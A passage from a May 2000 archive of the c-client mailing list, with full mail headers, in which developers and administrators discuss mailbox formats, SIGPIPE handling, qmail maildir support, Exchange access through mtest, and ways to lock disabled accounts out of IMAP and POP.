FpcGNCFJvZ7r/uOvsfeyMg== > Status: RO > X-Status: > X-Keywords: > X-UID: 935 > > Hello, > > here is a message to forward. > > Francois. > ------------- End Forwarded Message ------------- > > ------------------------------------------------------------------------ > > -- > Karsten Ballüder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.ac.uk > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" From pinedev@shivax2.cac.washington.edu Wed May 17 11:44:23 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 May 2000 11:44:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA30832 for ; Wed, 17 May 2000 11:44:21 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA06675; Wed, 17 May 2000 11:44:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA15978; Wed, 17 May 2000 11:43:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA61124 for ; Wed, 17 May 2000 11:41:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mhmcg@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA01555 for ; Wed, 17 May 2000 11:41:53 -0700 Message-Id: Date: Wed, 17 May 2000 11:16:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Macgirvin Cc: karsten@phy.hw.ac.uk, c-client Subject: Re: c-client cannot parse dtmail forwarded messages? In-Reply-To: <3922D956.789F9A55@netscape.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Unfortunately, the Content-Length header has design flaws (to say the least!) that render it one of the worst ideas ever inflicted in email. Hopefully, there aren't too many people left who are still deluded into thinking that Content-Length is reasonable; so I won't go into the long "why Content-Length is hardful" lecture... ;-) As Mike observes, the correct thing to do is to "from-stuff"; that is, insert a ">" prefix to lines that look like the internal "From " line, *NOT* "all lines that start with "From ". For sendmail, it's the F=E local delivery mailer flag. dtmail is also being unreasonable by including an internal format line in a forwarded message. Presumably, this is a vestige of UUCP thinking, since the alternative explanation involves a contempt of Internet standards, and we all know that SUN would never do such a thing, right? ;-) ;-) From pinedev@shivax2.cac.washington.edu Wed May 17 19:18:39 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 May 2000 19:18:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA06010 for ; Wed, 17 May 2000 19:18:38 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA19420; Wed, 17 May 2000 19:18:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id TAA10591; Wed, 17 May 2000 19:17:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id TAA20628 for ; Wed, 17 May 2000 19:15:18 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA17679 for ; Wed, 17 May 2000 19:15:17 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id TAA04161 for ; Wed, 17 May 2000 19:15:11 -0700 Message-Id: Date: Wed, 17 May 2000 19:15:10 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client Subject: "newmail" using c-client.a/mbx format ?? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I recently changed to MBX format on my desktop, prior to maybe deploying it on our site IMAP server. A minor "gotcha" - I use procmail filters and forgot to change $DEFAULT to |dmail and jammed my inbox such that Pine, mbxcvt wouldn't read it. I use procmail to send mail to a number of inboxes, and Steve Creps' "newmail" in a little xterm to monitor important ones. newmail beeps and prints the From and Subject fields so I can tell whether I should read it now, or next week maybe :-) newmail doesn't work with MBX format, only Unix format. Is there a way to get this functionality back ? I had a quick look at chkmail but as far as I can see it doesn't have header information available, merely a count of new messages. I could perhaps modify newmail, since I only want to run on local files. Andrew Daviel TRIUMF -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu May 18 08:33:22 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 May 2000 08:33:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA06918 for ; Thu, 18 May 2000 08:33:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24932; Thu, 18 May 2000 08:33:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA03476; Thu, 18 May 2000 08:32:06 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA16876 for ; Thu, 18 May 2000 08:30:35 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24463 for ; Thu, 18 May 2000 08:30:34 -0700 Received: from pc166.phy.hw.ac.uk (matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id QAA28372 for ; Thu, 18 May 2000 16:30:31 +0100 (BST) Message-Id: <200005181530.QAA28372@phy.hw.ac.uk> Date: Thu, 18 May 2000 16:30:00 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: c-client code crashing with SIGPIPE MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 18 May 2000 17:45:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA05449 for ; Thu, 18 May 2000 17:45:08 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA18159; Thu, 18 May 2000 17:45:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA02073; Thu, 18 May 2000 17:34:31 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA41804 for ; Thu, 18 May 2000 17:33:36 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA03389 for ; Thu, 18 May 2000 17:33:36 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA19892; Thu, 18 May 2000 17:33:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dak@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id RAA10070; Thu, 18 May 2000 17:33:35 -0700 Message-Id: Date: Thu, 18 May 2000 17:32:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: c-client code crashing with SIGPIPE In-Reply-To: <200005181530.QAA28372@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 May 2000 16:30:00 +0100 (GMT), Karsten Ballueder wrote: > we have a particularly bad network connection here these days and I noticed > that my app quite often aborts in response to a SIGPIPE from c-client code. It would be interesting to find out why the SIGPIPE happens. I've never seen it. > I thought that c-client would catch SIGPIPE itself. Does it not do so? I.e., > do I need to take care of this in my application? c-client does not catch any signals at all. You are responsible for doing this in your application. From pinedev@shivax2.cac.washington.edu Fri May 19 15:18:25 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 19 May 2000 15:18:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA05009 for ; Fri, 19 May 2000 15:18:23 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA13811; Fri, 19 May 2000 15:18:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA15224; Fri, 19 May 2000 15:17:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA55230 for ; Fri, 19 May 2000 15:15:32 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA27983 for ; Fri, 19 May 2000 15:15:31 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id PAA27194 for ; Fri, 19 May 2000 15:15:29 -0700 Message-Id: Date: Fri, 19 May 2000 15:15:29 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client Subject: Re: "newmail" using c-client.a/mbx format ?? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 May 2000, Andrew Daviel wrote: > newmail doesn't work with MBX format, only Unix format. Is there > a way to get this functionality back ? I had a quick look at chkmail but Oh well ... I copied the headers in procmail and wrote them to a Unix pipe with a little bit of Perl, then have another bit of Perl reading the pipe in an xterm. Better than something sitting in memory scanning the inboxes, and now I can have a different noise for each inbox ... :-) (a long time ago someone posted a soundbite from Star Trek "turbolift doors opening" to Usenet, whence it made its way to a Slackware CD-ROM, and I've been using it to announce mail. Sounds like the paper boy throwing a phonebook onto your doorstep from out in the road somewhere..) Andrew From pinedev@shivax2.cac.washington.edu Mon May 22 11:01:54 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 22 May 2000 11:01:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA26107 for ; Mon, 22 May 2000 11:01:53 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA06256; Mon, 22 May 2000 11:01:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA19066; Mon, 22 May 2000 10:53:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA47118 for ; Mon, 22 May 2000 10:43:28 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15968 for ; Mon, 22 May 2000 10:43:23 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id LAA03404 for ; Mon, 22 May 2000 11:55:45 -0600 Message-Id: Date: Mon, 22 May 2000 11:55:44 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: qmail and "maildir" format MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Everybody: I have a new client who runs qmail instead of sendmail, and his mailboxes are in qmail's "maildir" format. We don't support that, right? (I mean c-client doesn't, at least out of the box...). So that means I have to transform all the mailboxes over to "mbx" and "mbox", right? Also, he doesnt have Unix users configured, since qmail alows you to make a database of users that do not have Unix UID's but qmail nevertheless delivers mail to named mailboxes and the qmail pop3 daemon uses a special users/passwoprd database. I'll have to change his POP3 daemon, because if I dont, all his users will be getting that "DONT DELTERT THIS ONE!" message in their mailbox everytime my c-client app gets used. Should I convince this guy that having a Unix UID for each POP3 user is a good thing, or should I make modifications to ipop3d and my own c-client app to do a special authentication with this qmail database? Thanks for your help! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 22 11:26:33 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 22 May 2000 11:26:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA16194 for ; Mon, 22 May 2000 11:26:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA07100; Mon, 22 May 2000 11:26:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA24350; Mon, 22 May 2000 11:23:49 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA37610 for ; Mon, 22 May 2000 11:19:31 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA30366 for ; Mon, 22 May 2000 11:19:29 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id VAA30996; Mon, 22 May 2000 21:18:56 +0300 (EEST) Received: from city.dbnet.ece.ntua.gr (city.dbnet.ece.ntua.gr [147.102.12.38]) by dblab.ece.ntua.gr (8.10.1/8.10.1) with ESMTP id e4MIIt214725; Mon, 22 May 2000 21:18:55 +0300 (EEST) Received: (from george@localhost) by city.dbnet.ece.ntua.gr (8.9.3/8.9.3) id VAA39552; Mon, 22 May 2000 21:18:55 +0300 (EEST) (envelope-from george) Message-Id: <20000522211855.A39544@dblab.ece.ntua.gr> Date: Mon, 22 May 2000 21:18:55 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Mike Trank Cc: c-client@u.washington.edu Subject: Re: qmail and "maildir" format In-Reply-To: ; from mike@netcomsa.com on Mon, May 22, 2000 at 11:55:44AM -0600 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, May 22, 2000 at 11:55:44AM -0600, Mike Trank wrote: > Should I convince this guy that having a Unix UID for each POP3 user is a > good thing, or should I make modifications to ipop3d and my own c-client It is not a bad thing. > app to do a special authentication with this qmail database? Depending your knowledge of c-client, I suppose. If I was in your shoes, I would try and make him convert to Unix UIDs and mbox format. Qmail using procmail as a delivery agent can do that (I think the appropriate install document in Qmail is INSTALL.vsm). -- ``Servers break, users complain, life goes on...'' --Posted at sage-members@usenix.org From pinedev@shivax2.cac.washington.edu Tue May 23 01:36:32 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 23 May 2000 01:36:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA05286 for ; Tue, 23 May 2000 01:36:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA26600; Tue, 23 May 2000 01:36:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA26256; Tue, 23 May 2000 01:34:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA59348 for ; Tue, 23 May 2000 01:32:09 -0700 Received: from mailhost.axime.com (net01.axime.com [160.92.120.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA29701 for ; Tue, 23 May 2000 01:32:08 -0700 Received: from hermes.atos-group.com (hermes.atos-group.com [160.92.18.9]) by mailhost.axime.com (8.9.3/[Atos MultiMedia]) with ESMTP id KAA15335 for ; Tue, 23 May 2000 10:32:04 +0200 (MET DST) Received: by hermes.atos-group.com with Internet Mail Service (5.5.2448.0) id ; Tue, 23 May 2000 10:31:47 +0200 Message-Id: Date: Tue, 23 May 2000 10:32:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: LIAGRE Arnaud To: c-client@u.washington.edu Subject: connect a mailbox with mtest MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I want to use mtest to acces a MS Exchange mailbox and I have some = problem. I'm working on a UNIX computer. When I want to access the mailbox, I use the (correct) input : {agc-pc40/imap4/user=3Dadminex}adminex. By this way, it can't find my mailbox and return the text : Mailbox ('?' for help): {agc-pc40/imap4/user=3Dadminex}adminex %rsh to IMAP server timed out [Trying IP address [172.18.3.217]] [Microsoft Exchange IMAP4rev1 server version 5.5.2448.8 = (agc-pc40.segin.com) ready] {agc-pc40.segin.com/imap/user=3D"adminex"} password: x ?The requested item could not be found. Tue, 23 May 2000 10:23:34 +0000 (MET) imap mailbox: = {agc-pc40.segin.com:143/imap/user=3D"adminex"}, 0 messages, 0 recent MTest> When I don't put any mailbox name : MTest>n {agc-pc40/imap4/user=3Dadminex} [Reusing connection to agc-pc40.segin.com/user=3D"adminex"] [Mailbox is empty] Tue, 23 May 2000 10:25:50 +0000 (MET) imap mailbox: {agc-pc40.segin.com:143/imap/user=3D"adminex"}INBOX, 0 messages, 0 recent MTest> It doesn't find any messages ! (but there are messages on the box !) It seems not enable to see my mailbox even though it found the server = !? So, could someone help me to know how to give a correct input to access = the mailbox ? Here are the informations about the mailbox : mailbox name : adminex user : adminex path in MS Exchange server : Recipients (the container) | |__> adminex (the mailbox) ---- ------ ------=20 -- - ---- ------ Arnaud LIAGRE - --- -- - - ATOS Multim=E9dia -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 23 09:03:27 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 23 May 2000 09:03:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA16786 for ; Tue, 23 May 2000 09:03:26 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA12796; Tue, 23 May 2000 09:03:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA02060; Tue, 23 May 2000 09:02:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA11626 for ; Tue, 23 May 2000 09:01:22 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA06755 for ; Tue, 23 May 2000 09:01:21 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id RAA05433 for ; Tue, 23 May 2000 17:01:19 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id RAA01939 for ; Tue, 23 May 2000 17:01:18 +0100 (BST) Message-Id: Date: Tue, 23 May 2000 17:01:17 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client Subject: Checking /etc/shells for access MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Being a university, we have many thousand registered users with procedures for adding and removing them. The removal process is at least two-stage: before the final chop, we block the account for a few weeks. When so blocked, their id/pw combination is still valid, but we replace their shell with our own program that prints a message for them see. It then exits, so they can't (in theory, at least) do anything useful. All this makes re-instatement (in case of error, or last-minute re-registration) considerably easier than if we expunged all trace of them immediately. (Philosophy: where reasonably possible, deliver explanatory text to the user, such as at login (with forced logoff), but try to prevent them doing anything useful.) It seems that in this blocked state, when our intention is that they should not be able to do anything useful, they can still use IMAP and POP. Is there some functionality in IMAP/POP/c-client which, in the same manner as a typical FTP daemon, will check the user's shell against "/etc/shells" and prevent access if there is no match? Does such an idea seem useful? I'm happy to try to implement it. It would be nice if there were a global config file for IMAP/POP in which the a "check for /etc/shells" option could be set. (But the nearest thing, "/etc/c-client.cf", seems to be highly non-recommended, according to the dire warning text in "docs/imaprc.txt"!) Thoughts, anyone? -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 23 16:07:14 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 23 May 2000 16:07:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA22361 for ; Tue, 23 May 2000 16:07:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA26770; Tue, 23 May 2000 16:07:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA25675; Tue, 23 May 2000 16:03:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA05412 for ; Tue, 23 May 2000 13:23:32 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA11256 for ; Tue, 23 May 2000 13:23:32 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA24990; Tue, 23 May 2000 13:23:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rich@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA31618; Tue, 23 May 2000 13:23:31 -0700 Message-Id: Date: Tue, 23 May 2000 13:18:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client Subject: re: Checking /etc/shells for access In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 May 2000 17:01:17 +0100 (BST), David Lee wrote: > Is there some functionality in IMAP/POP/c-client which, in the same manner > as a typical FTP daemon, will check the user's shell against "/etc/shells" > and prevent access if there is no match? The problem with having such a functionality is that it is not for everybody. Some people use their systems' existing /etc/shells functionality to create "IMAP only" users. In my opinion, the best way to disable a user completely is to insert a "*" character in front of the password, e.g.: fred:*ern5WpvPF/zIj:105:69:Fred Foobar:/u/fred:/bin/ksh This will prevent fred from logging in with any service, and all you have to do to re-enable him is to delete the *. From pinedev@shivax2.cac.washington.edu Thu May 25 07:26:35 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 25 May 2000 07:26:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA01560 for ; Thu, 25 May 2000 07:26:34 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA13763; Thu, 25 May 2000 07:26:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA08032; Thu, 25 May 2000 07:25:52 -0700 Received: from 